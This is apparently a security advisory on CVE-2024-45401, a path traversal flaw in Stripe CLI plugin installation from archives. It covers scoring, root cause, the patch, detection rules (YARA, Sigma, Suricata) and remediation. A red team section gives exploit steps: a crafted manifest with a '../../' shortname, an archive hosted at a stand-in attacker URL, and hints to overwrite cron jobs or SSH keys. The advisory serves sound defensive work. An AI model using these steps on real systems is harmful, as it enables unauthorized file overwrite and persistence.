CVE-2024-45401

Executive Summary

CVE-2024-45401 is a path traversal vulnerability in the Stripe CLI (stripe-cli), a command-line tool for interacting with the Stripe payment processing platform. The flaw exists in versions 1.11.1 through 1.21.2, where a malicious plugin package containing a crafted manifest with a malformed plugin shortname can overwrite arbitrary files on the host system. The attack vector requires the user to install a plugin using the --archive-url or --archive-path flags, which are intended for local or remote archive installation. The vulnerability is rated High with a CVSS score of 7.6, and while no active exploitation has been observed, the potential for arbitrary file write makes it a significant supply chain risk.

Supply Chain & Package Security

This vulnerability directly impacts the supply chain security of the Stripe CLI ecosystem. The stripe-cli is distributed as a binary and via package managers (e.g., Homebrew, npm, Scoop). The plugin installation feature, now removed in the patched version, allowed users to install third-party plugins from archives. A malicious actor could craft a plugin that, when installed, overwrites critical system files (e.g., SSH keys, configuration files, or binaries) leading to privilege escalation, persistence, or data exfiltration. The removal of the archive installation feature in version 1.21.3 is a defensive measure to prevent such supply chain attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Attack Vector (AV): Network (N) – The attack can be launched remotely via a malicious archive URL.
• Attack Complexity (AC): Low (L) – No special conditions required beyond user interaction.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must run the stripe plugin install command with a malicious archive.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Arbitrary file write can lead to data exposure.
• Integrity (I): High (H) – Files can be overwritten with attacker-controlled content.
• Availability (A): High (H) – Overwriting critical system files can cause denial of service.

Threat Level: High. The vulnerability allows arbitrary file write with low complexity, though user interaction is required. The lack of active exploitation (EPSS 0.0%) reduces immediate urgency, but the potential for supply chain attacks remains.

Deep Dive & Mechanics

The vulnerability resides in the plugin installation logic of stripe-cli. When a user installs a plugin using --archive-url or --archive-path, the CLI extracts the archive and processes a manifest file (e.g., plugin.json). The manifest contains a shortname field that is used to determine the installation directory. Due to insufficient sanitization, a malformed shortname containing path traversal sequences (e.g., ../../malicious) allows the extracted files to be written outside the intended plugin directory.

Root Cause: The code does not validate or sanitize the shortname field against path traversal patterns before constructing the destination path. This allows an attacker to specify a relative path that escapes the plugin directory.

Attack Flow:

1. Attacker creates a malicious plugin archive containing a manifest with a shortname like ../../etc/cron.d/malicious.
2. Attacker hosts the archive on a public URL or provides it to the victim.
3. Victim runs: stripe plugin install --archive-url http://attacker.com/malicious.tar.gz
4. The CLI extracts the archive and writes files to the path derived from the shortname, e.g., /etc/cron.d/malicious.
5. The attacker achieves arbitrary file write, potentially leading to code execution or persistence.

Patch Analysis: In version 1.21.3, the entire feature for installing plugins from archives (--archive-url and --archive-path) has been removed. This is a complete removal rather than a sanitization fix, indicating that the feature was deemed too risky to maintain.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No path sanitization
func installPluginFromArchive(archivePath string) {
    manifest := extractManifest(archivePath)
    shortname := manifest["shortname"]
    destPath := filepath.Join(pluginDir, shortname)
    extractArchive(archivePath, destPath)
}

Patched Code (Conceptual):

// Patched: Feature removed entirely
func installPluginFromArchive(archivePath string) {
    return errors.New("installing plugins from archives is no longer supported")
}

The patch removes the entire code path, eliminating the vulnerability. No sanitization or validation was added because the feature was deprecated.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running stripe-cli version 1.11.1 to 1.21.2.
• Ability to host a malicious archive (e.g., via a web server or local file share).

Exploitation Steps:

1. Create a malicious plugin archive with a crafted manifest:

   mkdir malicious_plugin
   cat > malicious_plugin/plugin.json << EOF
   {
       "shortname": "../../tmp/evil",
       "version": "1.0.0",
       "description": "Malicious plugin"
   }
   EOF
   echo "malicious content" > malicious_plugin/evil.txt
   tar -czf malicious.tar.gz malicious_plugin/
   

2. Host the archive:

   python3 -m http.server 8080
   

3. On the target, execute:

   stripe plugin install --archive-url http://attacker:8080/malicious.tar.gz
   

4. Verify file write:

   cat /tmp/evil/evil.txt
   

Advanced Exploitation: Overwrite a cron job or SSH authorized_keys file for persistence.

Blue Team

Detection:

• Monitor for stripe plugin install commands with --archive-url or --archive-path flags.
• Alert on file writes to sensitive directories (e.g., /etc/, /usr/bin/, /root/) by the stripe process.
• Use file integrity monitoring (FIM) to detect unexpected changes.

Hunting:

• Search for plugin archives with suspicious shortname values containing ../ or absolute paths.
• Review system logs for unusual file creation events.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in /tmp/, /etc/, /usr/local/bin/, or other sensitive directories created by the stripe process.
  • Plugin archives with shortname containing path traversal sequences (e.g., ../../).
• Network:
  • Outbound connections to unknown IPs/domains from the stripe process during plugin installation.
• Process:
  • Execution of stripe plugin install with --archive-url or --archive-path flags.
• Logs:
  • System logs showing file writes to unusual paths by the stripe binary.

Detection Engineering

YARA Rule

rule CVE_2024_45401_Stripe_CLI_Path_Traversal {
    meta:
        description = "Detects malicious plugin archives exploiting CVE-2024-45401"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45401"
    strings:
        $shortname = /"shortname"\s*:\s*"[^"]*\.\.\/[^"]*"/
        $archive_magic = { 1F 8B 08 00 } // gzip magic
    condition:
        $archive_magic at 0 and $shortname
}

Sigma Rule

title: Stripe CLI Plugin Installation with Archive URL
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects use of stripe plugin install with --archive-url or --archive-path flags
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\stripe.exe'
        CommandLine|contains|all:
            - 'plugin install'
            - '--archive-url'
    condition: selection
falsepositives:
    - Legitimate use by developers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45401 Stripe CLI Malicious Plugin Archive Download"; flow:to_client; content:"stripe"; http_uri; content:"plugin"; http_uri; content:".tar.gz"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to stripe-cli version 1.21.3 or later.
• If upgrade is not possible, avoid using --archive-url or --archive-path flags.

Long-term:

• Implement strict input validation for any user-supplied paths in CLI tools.
• Use allowlists for plugin installation sources.
• Monitor for supply chain attacks by verifying plugin integrity via checksums.

Workaround:

• Remove the stripe binary from systems where plugin installation is not required.
• Use network segmentation to restrict outbound connections from development machines.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert